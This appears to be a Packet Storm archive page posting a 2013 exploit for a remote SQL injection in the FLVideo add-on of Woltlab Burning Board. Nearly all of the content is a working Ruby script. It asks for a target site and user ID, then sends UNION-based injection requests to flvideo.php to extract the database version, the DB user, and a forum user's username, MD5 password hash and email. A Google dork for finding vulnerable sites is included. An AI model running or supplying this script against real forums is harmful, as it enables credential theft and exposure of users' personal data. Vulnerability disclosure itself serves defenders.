what you don't know can hurt you

Woltlab Burning Board FLVideo SQL Injection

Woltlab Burning Board FLVideo SQL Injection
Posted Sep 6, 2013
Authored by Easy Laster

Woltlab Burning Board FLVideo add-on suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 3f5c4147b01c57c9bc7a93239eba1a6f

Woltlab Burning Board FLVideo SQL Injection

Change Mirror Download
# Exploit Title: Woltlab Burning Board FLVideo Addon SQL Injection flvideo.php Exploit
# Google Dork: inurl:flvideo.php wbb (and more)
# Date: 04.09.2013
# Exploit Author: Easy Laster
# Vendor Homepage: http://www.flvideo.de/
# Version: FLVideo Addon for WBB © 2007 by Danny König
# Tested on: Windows8/Backtrack

#!/usr/bin/ruby
#secunet.cc
#19.02.2013
#Discovered and Vulnerability by Easy Laster
#flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*
#*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(version()%20as%20char))
#null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/
#**/+userid=1--+
print "
################################################################
# secunet.cc #
################################################################
#PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT#
#Woltlab Burning Board FLVideo Addon SQL Injection flvideo.php #
# Exploit #
# Using Host+Path+id #
# www.demo.de + /wbb/ + or + / + 1 #
# Easy Laster #
#PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT#
################################################################
"
require 'net/http'
block = "################################################################"
print ""+ block +""
print "\nEnter Target Name (site.com)->"
host=gets.chomp
print ""+ block +""
print "\nEnter Script Path (/wbb/ or /)->"
path=gets.chomp
print ""+ block +""
print "\nEnter The ID From User (id)->"
userid=gets.chomp
print ""+ block +""
begin
dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(version()%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nVersion Database -> "+(/'~'(.+)'~'/).match(resp.body)[1]

dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(user()%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nDatabase User -> "+(/'~'(.+)'~'/).match(resp.body)[1]

dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(userid%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nID Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]

dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(username%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nUsername Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]

dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(password%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nPassword Account MD5 -> "+(/'~'(.+)'~'/).match(resp.body)[1]

dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+
"*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(email%20as%20char))"+
"),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+
"null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+
"**/+userid="+ userid +"--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nEmail Adresse Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]
print "\n"
print ""+ block +""
print "\n"
print "
################################################################
# Greetings #
################################################################
#mAdDiN, c0Re, illuministrator, WD40, peak, IRET, GabbaGandalf #
#DR.zydz, HANN!BAL, 6rbk9 , Manifest, doc, cr4ck, Prof.Dr. Ogen#
#ezah, enco, 4c!d And SecuNet.cc, 4004, dc3 crew, hackbase.cc #
################################################################
"
rescue
print "\nExploit Failed"
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close